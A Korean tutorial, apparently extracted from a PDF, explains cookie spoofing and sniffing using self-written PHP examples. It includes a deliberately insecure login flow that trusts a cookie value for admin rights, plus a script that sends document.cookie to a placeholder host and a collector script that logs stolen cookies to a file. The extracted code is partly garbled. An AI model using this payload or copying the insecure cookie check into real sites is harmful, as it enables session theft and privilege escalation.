Cookie Spoofing&Sniffing By Maxoverpro[max]( 장상근) maxoverpro@empal.com http://www.maxoverpro.org 1. 서론 이문서는 Cookie Spoofing 과 Sniffing 에대해정석적인방법을이야기하도록하며또 한어느특정곳의취약점을설명하지않고직접제작한예제를가지고 Cookie Spoofing 과 Sniffing 이라무엇인가를이야기하도록하겠다. Cookie란 WEB Server측에서 Login과같은인증을받고유지시켜주기위해필요로된 다. 예를내가쇼핑몰에물건을사려고한다면그사이트에로그인을하고물건을고르고내 장바구니에물건을담을수있다. 그리고다른사이트를잠시들어갔다와도로그인후장바 구니에있던물건의정보는그대로남아있고로그인이계속유지되어져있는상태를볼수 있다. 이건즉 Cookie 라는것을사용해그세션을계속유지시켜주기때문이다. 간략히말 해서로그인을해야만볼수있는페이지가있다. 그런데다른페이지를보기위해계속로그 인을해야하는작업들을 Cookie를통해계속로그인된상태를유지해주는것이 Cookie이 다. 하지만,Cookie 라는것은정보의집합체이기때문에정보의유출, 정보의조작이가능할 수있는문제가있다. 잘못만들어진사이트나쓸때없는개인적인정보를 Cookie에넣고 있다면커다란문제가된다. 이러한문제가존재하는가운데 Cookie Spoofing 과 Sniffing라 는취약점을노리는기술이나오게되었다. 그러면 Cookie Spoofing 과 Sniffing은어떤식 으로해야되는지임의로제작된스크립트를통해알아보도록하겠다. 기타환경조건(html 도 php 로된다.) 첫번째방법으로 Cookie Spoofing 에대해서설명하도록하겠다. 2. 본론 아래는로그인을하고들어갈수있는폼이다. - 1 -
login.php <html> <head> <title>login</title> <style> INPUT {border:1x solid 'black';background-color:white; font-size:12px;color:black td { border-top-width:1;border-right-width:1; border-bottom-width:1;border-left-width:1; border-bottom-style:solid;border-right-style:solid; border-left-style:solid;border-top-style:solid; </style> </head> <center> <!-- 입력받은데이터를 login_check.html으로 get 형식으로보낸다.--> <form method="get" action="login_check.html"> <table width="200"> <td colspan=2 align=center bgcolor="#333333"> <font color="white" size=2><b>login</b></font> <td size="100" bgcolor="#333333"> <font color="white" size=2>id</font> <td> <input type=text name=ids> <td size=100 bgcolor="#333333"> <font color="white" size=2>password</font> <td> <input type=password name=pwd> - 2 -
<td colspan=2 bgcolor="#333333" align="right"> <input type=submit value="login"> </table> </form> </center> </body> </html> 위의 login.php 페이지에서 login_check.php 페이지로 ids(id), pwd(password) 의정보가 넘겨지게된다. 그럼 login_check.php 페이지의스크립트를보고설명을하도록하겠다. 참고로임의로만들었기때문에패스워드는그냥임의의값이들어오면인증되도록 만들었다. 보통데이터베이스에서정보를가져와확인을하게된다. login_check.php <? // id 가입력되었는지확인한다. if(!$ids) { window.alert('empty ID') history.go(-1) exit; // password 가입력되었는지확인한다. if(!$pwd) { window.alert('empty Password') history.go(-1) // 패스워드가 maxoverpro면인증을확인하고 id값을가지고 cookie 를만든다. if($pwd== "maxoverpro" ){ setcookie("okid",$ids); - 3 -
//cookie안에는 OKID로 id 가오게된다. location=\"confirm.html\"; else { window.alert('not Currect Password') history.go(-1) exit; exit;?> 그러면인증을확인이되었으면 confirm.php 라는곳으로넘어가게되는데이부분에서 cookie 의정보를가지고어떤사용자인지확인하고다른페이지를보여줄수있는 페이지라고가정하고 confirm.php 스크립트를보도록하겠다. confirm.php <? <html> <head> <title>who am i?</title> </head> <center> <br><br><br> <center><b>[ Confirmation State ]</b></center> <br> <font size=3> if($okid == "admin") { print $OKID; -> Admin User</font> - 4 -
else { print $OKID; -> Normal User</font> </body> </html> confirm.php에서는 cookie의 OKID 의정보를보고어떤사용자인지식별을하게된다. 만약 OKID가 admin 이라면관리자계정으로사용할수있고, 그렇지않을경우일반사용자 권한이떨어지게된다. 그럼위의정보를어떻게 Spoofing을할수있을까에대해서 알아보도록하겠다. 우린웹브라우저의주소창에 javascript:document.cookie 라는것을통해 cookie의정보를 확인할수있다. 그것을통해내가사용하는사이트에서는어떤방식과어떤정보를 cookie 가가지고있는지확인할수있다. 위의예제에서는정석적인것을이야기하는것이기때문에 cookie의내용이간단하지만보 통다른곳에서는상당히긴쿠키의정보를확인할수있다. 그런세세한것에대한것은 이문서에서다루지않도록하겠다. 그럼어떻게 cookie를 spoofing 하게하는지알아보겠다. 그냥알아보는차원에서간단하게정보를바꿔서 록하겠다. admin의권한으로떨어지는것을보도 실행한결과를보니 Admin User 로권한이떨어진것을보았다. - 5 -
다음은 cookie sniffing 에대해서알아보도록하겠다. Cookie sniffing은테그가허용되는곳에서사용한곳에서 cookie의정보를빼오는방법을 말한다. 즉악의적인스크립트를이용해서가능하다. 그럼예를들어임의로만든페이지에 접속할경우쿠키정보를어떻게 sniffing 을해서가져오는지보도록하겠다. myhome.php <html> <head> <title>my homepage</title> <script language=javascript> window.open("http://xxx.xxx.xxx.xxx/gco.php?ck="+document.cookie); </head> Hay~ KiN </body> </html> 위의페이지에접속할경우페이지를바꾸어 window.open안에들어있는사이트로접속하 게된다. 보면 gco.php로 cookie 의정보를넘겨주게된다. 주소창에보면흔적이남게되나 이를해결할수있는방법몇가지가있지만공개하지않도록하겠다. gco.php 은쿠키의정보를가져와저장시켜주는역할을하는스크립트이다. 그럼 gco.php 을보도록하겠다. gco.php <? $fp=fopen("/tmp/cinfo.txt","a++ fputs($fp,"$ck\n fclose($fp); - 6 -
<html><head> <title>my homepage</title> Hay~ KiN </body> </html> 이렇게해서 myhome.php에접속을하게되고 myhome.php에있는스크립트를통해 gco.html의 ck라는것으로 cookie 의정보가전달되고정보를저장하게된다. 3. 결론 위와같은방법이통하는것을보안하기위해서는기본적인 cookie 정보를암호화하거나 여러방법으로체크하는것이필요하다. 개인적으로취할수있는작은보안의식은 cookie 의정보를삭제하는방법이있다. 보통윈도우에서는 c:\windows\cookie 나개인폴더에 cookie 의정보가보관되는데그정보를삭제해쿠키의정보를아무에게나넘겨주지않도록 주의해야한다. - 7 -